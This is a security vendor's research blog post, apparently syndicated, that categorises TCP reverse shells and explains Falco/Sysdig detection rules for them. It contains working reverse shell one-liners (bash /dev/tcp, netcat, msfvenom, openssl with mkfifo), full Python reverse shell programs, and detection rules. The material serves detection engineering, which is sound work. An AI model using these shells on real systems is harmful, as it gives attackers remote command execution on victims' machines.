The Sysdig Threat Research Team (TRT) continuously analyzes attacker tactics and techniques, transforming those insights into effective detection rules for Sysdig customers and open source Falco users. From initial discovery to production-ready detections, this blog walks through our process for creating new detections.
Our rules strike a balance between minimizing false positives and staying broad enough to surface suspicious activity that could indicate an attack. Using a reverse shell as a common technique employed by real attackers, we will break down the anatomy of multiple reverse shell types, review the limitations of old detection methods, and demonstrate how we develop effective rules.
Reverse shells are a remote access tool primarily used by attackers to gain control over a target system and execute commands. They are called "reverse" because, unlike traditional remote access methods, the compromised machine initiates the connection back to the attacker's system, rather than the other way around.
This approach is convenient for attackers when firewalls and network configurations block incoming connections. For example, internal servers are often protected by firewalls that prevent external systems from establishing a direct connection. However, these servers are usually allowed to initiate outbound connections for software updates or other legitimate purposes. A reverse shell leverages this loophole by having the compromised machine initiate a connection to the attacker’s machine, effectively bypassing such restrictions.
Familiar examples of reverse shell commands are listed below. These popular webshells are lightweight, reliable, and can be easily spawned via Bash, Netcat, or advanced tools offered by Metasploit.
# bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
# netcat
nc -e /bin/sh 10.0.0.1 4242
# msfvenom
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elfAt a high level, when executing a reverse shell, the attacker sets up a listener on their machine to wait for incoming connections. Once the target system connects, the attacker gains a command-line interface (CLI) on the victim machine, enabling them to execute arbitrary commands, explore the file system, or move laterally to other parts of the network.
Reverse shells fall under the MITRE ATT&CK tactic Execution (TA0002), and are one of the most concerning threats for organizations. Therefore, we conduct extensive research into their behavior to provide meaningful and actionable detections.
However, not all reverse shell executions are the same. The major distinction is the protocol used to connect the victim and attacker machines: TCP, UDP, or ICMP. In this article, we will focus only on the TCP-based connection protocol.
Additionally, there are other main low-level implementation distinctions among reverse shells, such as how they redirect standard input and output to a socket, the nature of the interprocess communications involved by the malicious execution, and the system calls invoked.
Several factors can be taken into account when categorizing reverse shells:
All of these factors will allow us to outline different reverse shell techniques, which could be implemented using multiple interpreted or compiled languages. For the purpose of this article, we will show Python implementations. We chose this language for its simplicity and because it has useful wrappers for direct syscall invocation.
Before digging into the details of reverse shell techniques, let’s first introduce the reverse shell building blocks and the syscalls offered by the Linux operating system.
The building blocks of reverse shells are the following:
When a new program must be executed, execve/execveat syscalls are invoked. These syscalls load a new executable into the process memory space, replacing the calling process with the newly invoked one. We will see these syscalls once we run the command that spawns a reverse shell, and also every time a new arbitrary command is executed remotely from the attacker’s machine.
Connecting the victim machine back to an attacker-controlled one and establishing a communication channel to send and receive information is crucial. The latter can be implemented using different protocols or technologies. Typically, in Linux systems, remote connection is something handled by a few syscalls:
Sometimes, processes need to fork or clone themselves for various reasons, such as handling parallel executions simultaneously, running concurrent tasks, or creating independent execution flows. In this case, two different syscall types may be invoked:
When multiple processes are running after fork/clone operations and need to communicate with each other, interprocess communication channels let them exchange messages, data, and so on. It is very common for reverse shells to fork or clone themselves and then communicate using syscalls, such as:
Last but not least, a reverse shell’s other building blocks involve redirection of file descriptors into standard input (STDIN), output (STDOUT), and error (STDERR). It is common for reverse shells to duplicate existing file descriptors and redirect the connection sockets or pipe ends to STDIN/STDOUT. STDERR redirection is optional, but often helpful for a reverse shell because it provides the attacker with important information, such as error messages and prompt output for diagnostics.
To duplicate existing file descriptors and redirect them, the following syscalls can be used:
In the following table, the previously mentioned syscalls and building blocks are summarized, with the related documentation references.
The first and simplest category of reverse shells we identified is illustrated in the code snippet below. This snippet creates a connected socket, duplicates the socket file descriptor to standard input, output, and error using dup2, and then relies on the default behavior where file descriptors remain open across an execve() call, unless the FD_CLOEXEC flag has been explicitly set using fcntl or other methods. As a result, when execve replaces the process’s memory with the new executable — in this case, the shell — STDIN and STDOUT remain linked to the connected TCP socket, allowing it to perform its usual read and write operations over the network.
import os
import socket
import sys
import fcntl
def main():
# Read server IP and port from environment variables
SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))
try:
# Create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the attacker's server
sock.connect((SERVER_IP, SERVER_PORT))
# Duplicate the socket to stdin, stdout, and stderr
os.dup2(sock.fileno(), 0) # stdin
os.dup2(sock.fileno(), 1) # stdout
os.dup2(sock.fileno(), 2) # stderr
# Execute a shell
os.execl("/bin/sh", "-i")
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()Many common payloads fall under this reverse shell category, including many of the commands listed in this reference, such as bash TCP, python, php executions, and multiple standard non-meterpreter binaries, such as linux/x86/shell/reverse_tcp and linux/x64/shell/reverse_tcp, can be created using the widely known Metasploit framework. This technique is also common in exploits to provide immediate interaction with the compromised system.
This reverse shell category is detected by the Sysdig rule Reverse Shell Detected:
- macro: spawned_process
condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: shell_procs
condition: proc.name in (shell_binaries)
- rule: Reverse Shell Detected
desc: This rule detects the spawning of a reverse shell, which is a shell process with stdin and one of stdout or stderr file handles redirected to a network connection. This is a common technique used by attackers to gain remote access to a compromised system.
condition: spawned_process and shell_procs and (proc.stdin.type in (ipv4, ipv6) and (proc.stdout.type in (ipv4, ipv6) or proc.stderr.type in (ipv4, ipv6))) and (proc.stdin.name = val(proc.stdout.name) or proc.stderr.name = val(proc.stdin.name)) and proc.stdin.name contains "->" and pname_exists and stdin_name_exists
output: Reverse shell detected with process %proc.name and parent %proc.pname under user %user.name (proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath proc.stdin.name=%proc.stdin.name proc.stdout.name=%proc.stdout.name proc.stderr.name=%proc.stderr.name gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] gggexepath=%proc.aexepath[4] image=%container.image.repository:%container.image.tag proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline user=%user.name user.uid=%user.uid gcmdline=%proc.acmdline[2] ggcmdline=%proc.acmdline[3] user_loginuid=%user.loginuid container.id=%container.id container.name=%container.name)
priority: CRITICAL
tags: [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]
The second category of TCP reverse shells lets the main process handle the entire network connection and uses a child to execute the shell. Communication between parent and child can be achieved in many different ways, but common tooling heavily relies on unnamed pipes or socketpairs.
The code below includes a function used to forward data from one file descriptor to another, regardless of its nature (e.g., a file or a connected socket). Thanks, Linux, for letting us do it with the same API!
In the main function, after establishing the usual connection, the parent process ensures it can communicate with the child process, executing a shell, before entering an infinite loop. In this loop, the parent process monitors which file descriptor is ready for reading: either receiving data from the network to send to the child shell process through the pipe's write end or reading the command output from the child shell process to forward it to the socket.
import os
import sys
import socket
import select
def forward_data(src_fd, dst_fd):
try:
data = os.read(src_fd, 1024)
if data:
os.write(dst_fd, data)
else:
# No data means the other end has closed the connection
return False
except OSError as e:
print(f"Error while forwarding data: {e}")
sys.exit(1)
return True
def main():
# Read server IP and port from environment variables
SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))
try:
# Create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the attacker's server
sock.connect((SERVER_IP, SERVER_PORT))
# Create two pipes for bidirectional communication
parent_to_child, child_to_parent = os.pipe(), os.pipe()
# Fork the process
pid = os.fork()
if pid == 0:
# Child process
os.close(parent_to_child[1]) # Close the write end of parent-to-child pipe
os.close(child_to_parent[0]) # Close the read end of child-to-parent pipe
# Redirect stdin, stdout, and stderr to the pipes
os.dup2(parent_to_child[0], sys.stdin.fileno())
os.dup2(child_to_parent[1], sys.stdout.fileno())
os.dup2(child_to_parent[1], sys.stderr.fileno())
# Close the duplicated file descriptors
os.close(parent_to_child[0])
os.close(child_to_parent[1])
# Execute a shell
os.execl("/bin/sh", "-i")
else:
# Parent process
os.close(parent_to_child[0]) # Close the read end of parent-to-child pipe
os.close(child_to_parent[1]) # Close the write end of child-to-parent pipe
# Use select to multiplex between the socket and the pipes
while True:
rlist, _, _ = select.select([sock, child_to_parent[0]], [], [])
for r in rlist:
if r == sock:
if not forward_data(sock.fileno(), parent_to_child[1]):
return
elif r == child_to_parent[0]:
if not forward_data(child_to_parent[0], sock.fileno()):
return
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()Bidirectional communication can also be achieved using socketpair instead of pipes. For instance, using the lines below, you can create a pair of connected UNIX sockets.
# Create socketpair for bidirectional communication
socks = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
Meterpreter binaries that can be generated using msfvenom, Golang executables, and also some Java executables belong to this category, relying on the pipes for interprocess communication. The socketpair syscall for establishing the IPC channel is instead often leveraged by NodeJS applications.
In general, implementing reverse shells involves having a process for handling a connection and another for executing a shell. This is frequently done in reverse shells spawned by compiled or interpreted languages, such as Java and Ruby, which fork or clone themselves and then establish parent-child communication.
However, enforcing parent-child communication is not the only way to implement a reverse shell within this category. The same goal can be achieved using shells or script constructs involving two sibling processes (i.e., two processes sharing the same parents and communicating with each other).
A common example involves using multipurpose relay tools like socat, telnet, nc, openssl, and other types of IPC communication (e.g., named pipes). These binaries, like the example below, are often used in Living off the Land (LotL) attacks.
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER_IP>:<ATTACKER_PORT> > /tmp/sIn the example above, the attacker creates a named pipe using the mkfifo command. A named pipe behaves the same as a traditional unnamed pipe, but has a link to the filesystem so that any process opening the file can perform read/write operations and communicate with other processes.
The openssl command is responsible for establishing a connection back to the attacker, and any data received will be redirected to the named pipe. The named pipe is also used as input for the interactive shell, and any of its output and error will be processed by the network relaying command, closing the loop.
Sysdig is also able to detect this reverse shell category with multiple out-of-the-box rules, such as “Reverse Shell Spawned From Binary Through Pipes,” “Reverse Shell Spawned From Interpreted or Compiled Program Through Pipes,” “Staged Meterpreter Reverse Shell,” and others, depending on the involved syscalls and IPC abstractions.
This category of reverse shell extends the concept of the previous category. It spawns a shell from a secondary process and IPC, but tries to be more stealthy and evade detection by not executing a shell at all. How is that possible? The idea is to resemble or emulate the core functionality of the shell: executing other programs using fork + exec.
Suppose we strip down a shell to this definition and we delete all the logic for implementing input/output (I/O) redirections, pipes, variables, and other built-in functions that normal shells implement. In that case, we are left with something like the code snippet below.
import os
import socket
import sys
import select
def execute_command(command, sock):
"""
Executes a command directly using os.execlp and sends the output back through the socket.
"""
try:
# Create pipes for capturing the command's stdout and stderr
stdout_pipe, stdout_fd = os.pipe()
stderr_pipe, stderr_fd = os.pipe()
pid = os.fork()
if pid == 0:
# Child process
os.close(stdout_pipe) # Close read-end of stdout pipe in child
os.close(stderr_pipe) # Close read-end of stderr pipe in child
# Redirect stdout and stderr to the pipes
os.dup2(stdout_fd, 1) # Redirect stdout to the write end of stdout pipe
os.dup2(stderr_fd, 2) # Redirect stderr to the write end of stderr pipe
# Parse the command into the program and its arguments
args = command.split()
if not args:
os._exit(0) # Exit if no command is given
# Execute the command using os.execlp
os.execlp(args[0], *args)
else:
# Parent process
os.close(stdout_fd) # Close write-end of stdout pipe in parent
os.close(stderr_fd) # Close write-end of stderr pipe in parent
# Read and forward the output
while True:
# Use select to wait for data from either stdout or stderr
rlist, _, _ = select.select([stdout_pipe, stderr_pipe], [], [])
for ready_fd in rlist:
try:
data = os.read(ready_fd, 1024)
if not data:
return # End of data
sock.sendall(data)
except OSError:
return # Pipe closed or error occurred
except Exception as e:
sock.sendall(f"Error executing command: {e}\n".encode())
def main():
# Read server IP and port from environment variables
SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))
try:
# Create a socket and connect to the attacker
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER_IP, SERVER_PORT))
# Enter a loop to receive commands and execute them
while True:
sock.sendall(b"Shell> ") # Prompt for the attacker
command = sock.recv(1024).decode().strip()
if not command:
break
if command.lower() in {"exit", "quit"}:
break
execute_command(command, sock)
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()As you can see, the usual connection is still there, and then we can directly execute a command right after an execve, ensuring that the latter can communicate back its output and errors (if any) via a pipe. From a detection perspective, this is sneaky since there is no unusual execution of a shell process to rely on.
One popular implementation of this reverse shell category is the shell execution shown below. It can be considered an edge case since a shell is implicitly involved, but still, we can see commands spawned one after another when reading from over the network.
exec 5<>/dev/tcp/10.0.0.1/4242
cat <&5 | while read line; do $line 2>&5 >&5; doneTo surface these reverse shell techniques, Sysdig employs multiple detection rules, such as “Perl Remote Command Execution Detected” and “Reverse Shell Redirects STDIN/STDOUT To Socket With Pipes,” which are turned on by default in all Sysdig customer environments.
In addition to continuously writing detections to identify new threats, Sysdig TRT regularly revisits old detections to make improvements and reduce false positives. This section walks through our process.
We have explored what reverse shells are and how we detect them in a past article, where we covered the Direct Shell Execution method. The related Falco rule’s simplified condition was as follows:
dup and
evt.rawres in (0, 1, 2) and
fd.type in ("ipv4", "ipv6") This rule was specifically focused on identifying processes redirecting network connections to the STDIN, STDOUT, and STDERR file descriptors. However, it contained several significant design flaws, primarily due to the constraints and understanding at the time:
stdin and stdout to the socket so that the shell can listen to commands and send results remotely. But this rule triggers every time a dup system call has as a result file descriptor 0, 1, or 2, and the involved file descriptor’s type is ipv4 or ipv6.These two design flaws were enough to let us understand we could have multiple false positives due to our overreliance on connection redirection, and, even worse, these alerts could be amplified by the repeated triggering nature of the rule.
At its core, detecting reverse shells in Direct Shell Execution is inherently difficult because the malicious behavior is subtle and can easily overlap with legitimate activity. While the early rule made a good attempt at flagging potentially suspicious redirections, it lacked context and refinement to differentiate between benign and malicious use cases. Additionally, the absence of a shell execution dependency further complicated the detection logic, as the rule couldn’t explicitly tie the redirection to a subsequent malicious shell process.
With this in mind, we set out to hone and improve our reverse shell detections.
To overcome the limitations of the previous detection rule and to better address the other categories previously mentioned, we have implemented some new fields, which are now even supported in Falco:
proc.stdin.type and proc.stdin.name. proc.stdout.type and proc.stdout.name. proc.stderr.type and proc.stderr.name. Such fields are useful to match the process STDIN, STDOUT, and STDERR types and names, returning the same value fd.type and fd.name would return in the context of the syscall. These syscalls allow for detections if a specific process directly sends the results to a socket bound to the attacker’s machine, to a pipe connected to another sibling/ancestor process, or, in general, to a more generic form of inter-process communication.
When implemented as part of the proc field class category instead of fd, this information becomes available as contextual information of the process itself, regardless of the syscall being taken into account by the rule (as opposed to the dup approach), and allows the use of the proc.stdin, proc.stdout, and proc.stderr details altogether to create a better detection rule.
Reverse shells being spawned as mentioned in Direct Shell Execution with Network-Redirected I/O category 1), such as the example here:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1will reveal a bash shell process being launched with process STDIN and STDOUT types and names, as seen below:
{
"%proc.stdin.type": "ipv4",
"%proc.stdin.name": "127.0.0.1:35548->127.0.0.1:4242",
"%proc.stdout.type": "ipv4",
"%proc.stdout.name": "127.0.0.1:35548->127.0.0.1:4242"
}This not only reduces the number of alerts triggered by the original rule mentioned above, but it also improves the relevance of the detection. It will shift the focus from the dup/dup2 syscall invocation of the process triggering the reverse shell to the execution of the effective reverse shell being spawned.
Moreover, this change doesn’t only represent a way to make a stronger detection mechanism, but it also sets the stage for the detection of other categories, such as those where two processes communicate via a pipe. In this scenario, they can be detected by matching a different process STDIN or STDOUT type, such as proc.stdin/stdout.type=pipe.
The original rule was not even sufficient to detect more complex reverse shells, such as the Indirect Shell Execution using a Secondary Process and IPC and the Direct Command Execution with Network-Redirected I/O. These categories required the adoption of a new detection approach.
In 2025, Sysdig unlocked the power of stateful workload detection rules, introducing the new Sysdig Runtime Behavioral Analytics workload policy.
A reference to the Sysdig observation detection capabilities can be found here, but we want to explore how we could use them to detect more complex reverse shell categories, such as the Indirect Shell Execution using a Secondary Process and IPC, and the Direct Command Execution with Network-Redirected I/O.
As previously mentioned, reverse shells involve multiple syscalls, each related to specific building blocks. Keeping track of all these techniques and syscalls employed by processes allows observation rules to draw a graph of actions that, if matched, will trigger a security alert. Observation rules allow us to detect multi-step attack patterns, such as the ones we have previously identified in the reverse shell categories.
Below is an example that shows how to detect a reverse shell launched via Indirect Shell Execution using a Secondary Process and IPC. It starts with a process executing a binary, which is then responsible for the outbound connection to the remote machine and the opening of pipes for interprocess communication. This is followed by cloning operations, other file descriptor manipulations, and eventually the execution of the shell spawned with process standard input and output of type pipe.
All the rules mentioned, stateful and stateless, which were designed to detect all three reverse shell categories described above, however, may trigger false positives depending on how the building blocks mentioned earlier (Execution, Remote Connection, Creation of child processes, File descriptor manipulation, Interprocess Communication) are handled by legitimate processes too. For example, tools like VS Code remote terminals, Windsurf or Cursor servers can trigger some False Positive events.
Despite this, the False Positive rates for such rules are pretty low, and all of them are associated to Sysdig Runtime Threat Detection or Sysdig Runtime Behavioral Analytics policies. The Sysdig TRT monitors and inspects closely these two policies in order to proactively whitelist the associated indicators and ensure a good quality of detection.
By breaking down multiple reverse shell techniques, we’ve seen how Sysdig TRT identifies the key components of suspicious activity, examines where traditional detections fall short, and develops rules that are both precise and adaptable. The examples provided highlight the continuous evolution of Sysdig and Falco detections, and the careful balance TRT strikes between minimizing false positives and capturing meaningful threats. In doing so, Sysdig helps ensure customers and open source users are protected against the latest adversarial techniques in a changing cloud landscape.
Being fully comprehensive of any existing technique is hard in a short article like this one (e.g., we are aware that there might be more ways to perform interprocess communication, and we are still actively working on this), but we wanted to show the evolution of Sysdig detections together with the implementation of new detection tools and how Sysdig TRT brings value to our customers.
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。